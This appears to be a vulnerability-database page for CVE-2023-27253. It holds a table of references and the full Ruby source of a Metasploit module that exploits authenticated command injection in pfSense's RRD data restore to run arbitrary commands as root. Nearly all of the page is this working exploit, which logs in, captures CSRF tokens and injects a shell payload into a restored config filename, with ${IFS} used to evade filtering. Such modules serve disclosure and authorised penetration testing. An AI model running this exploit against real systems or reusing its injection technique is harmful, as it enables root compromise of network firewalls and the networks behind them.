| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| pfSense v2.7.0 - OS Command Injection Exploit | 21 Jul 202300:00 | – | zdt | |
| CVE-2023-27253 | 18 Mar 202301:31 | – | circl | |
| pfSense 安全漏洞 | 17 Mar 202300:00 | – | cnnvd | |
| CVE-2023-27253 | 17 Mar 202300:00 | – | cve | |
| CVE-2023-27253 | 17 Mar 202300:00 | – | cvelist | |
| pfSense Restore RRD Data Command Injection | 12 Jul 202319:51 | – | metasploit | |
| CVE-2023-27253 | 17 Mar 202322:15 | – | nvd | |
| pfSense Restore RRD Data Command Injection | 13 Jul 202300:00 | – | packetstorm | |
| Command injection | 17 Mar 202322:15 | – | prion | |
| PT-2023-21032 · Netgate · Pfsense | 17 Mar 202300:00 | – | ptsecurity |
# Exploit Title: pfSense v2.7.0 - OS Command Injection
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Restore RRD Data Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
privilege to execute arbitrary operating system commands as the "root" user.
This module has been tested successfully on version 2.6.0-RELEASE.
},
'License' => MSF_LICENSE,
'Author' => [
'Emir Polat', # vulnerability discovery & metasploit module
],
'References' => [
['CVE', '2023-27253'],
['URL', 'https://redmine.pfsense.org/issues/13935'],
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
],
'DisclosureDate' => '2023-03-18',
'Platform' => ['unix'],
'Arch' => [ ARCH_CMD ],
'Privileged' => true,
'Targets' => [
[ 'Automatic Target', {}]
],
'Payload' => {
'BadChars' => "\x2F\x27",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
]
end
def check
unless login
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'GET',
'keep_cookies' => true
)
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
unless res&.body&.include?('Diagnostics: ')
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
end
version = detect_version
unless version
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
end
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
end
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
end
def login
# Skip the login process if we are already logged in.
return true if @logged_in
csrf = get_csrf('index.php', 'GET')
unless csrf
print_error('Could not get the expected CSRF token for index.php when attempting login!')
return false
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
},
'keep_cookies' => true
)
if res && res.code == 302
@logged_in = true
true
else
false
end
end
def detect_version
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
# If the response isn't a 200 ok response or is an empty response, just return nil.
unless res && res.code == 200 && res.body
return nil
end
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
nil
else
version
end
end
def get_csrf(uri, methods)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, uri),
'method' => methods,
'keep_cookies' => true
)
unless res && res.body
return nil # If no response was returned or an empty response was returned, then return nil.
end
# Try regex match the response body and save the match into a variable named csrf.
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
return nil # No match could be found, so the variable csrf won't be defined.
else
return csrf
end
end
def drop_config
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
end
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res && res.code == 200 && res.body =~ /<rrddatafile>/
return res.body
else
return nil
end
end
def exploit
unless login
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
end
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
end
config_data = drop_config
if config_data.nil?
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
end
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
end
config_data.gsub!(' ', '${IFS}')
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation